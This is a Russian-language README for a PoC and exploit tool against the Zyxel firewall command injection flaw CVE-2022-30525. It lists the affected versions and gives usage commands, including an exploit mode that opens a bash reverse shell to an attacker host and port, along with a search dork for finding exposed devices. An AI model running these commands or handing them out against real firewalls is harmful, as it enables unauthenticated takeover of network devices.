
CVE-2022-30525 Уязвимость внедрения команд в межсетевых экранах Zyxel POC&EXPC
CVE-2022-30525 POC&EXP
author:160team.west9B
Только для использования авторизованными исследователями безопасности, соблюдайте закон о кибербезопасности. Любые проблемы и последствия – на вашей ответственности, автор не несет ответственности.
12 мая 2022 года компания Zyxel выпустила бюллетень безопасности, устраняющий уязвимость удаленного внедрения команд без аутентификации в своих брандмауэрах (CVE-2022-30525). CVSS-оценка этой уязвимости составляет 9,8. Уязвимость существует в программах CGI некоторых версий брандмауэров Zyxel, позволяя выполнять произвольные команды на затронутых устройствах без аутентификации.
Затронутые версии:
Серия ATP: 5.10-5.21 Patch 1
Серия VPN: 4.60-5.21 Patch 1
USG FLEX 100(W), 200, 500, 700: 5.00-5.21 Patch 1
USG FLEX 50(W)/USG20(W)-VPN: 5.10-5.21 Patch 1
Эта уязвимость не имеет обратной связи (эхо) при выполнении команд, поэтому POC проверяет запрос к DNSLog API. Если DNSLog получает запрос, уязвимость существует. Чтобы избежать ложных срабатываний из-за задержек сети, проверка DNSLog выполняется с задержкой в 10 секунд.
usage_poc: ./cve-2022-30525 -m poc -u https://192.168.1.1/
Эксплойт (exp) осуществляет обратную оболочку (bash reverse shell). После флага -m exp укажите IP и порт VPS.
usage_exp:./cve-2022-30525 -m exp -u https://192.168.1.1/ -lhost 192.168.1.2 -lport 1337

title="USG FLEX xx"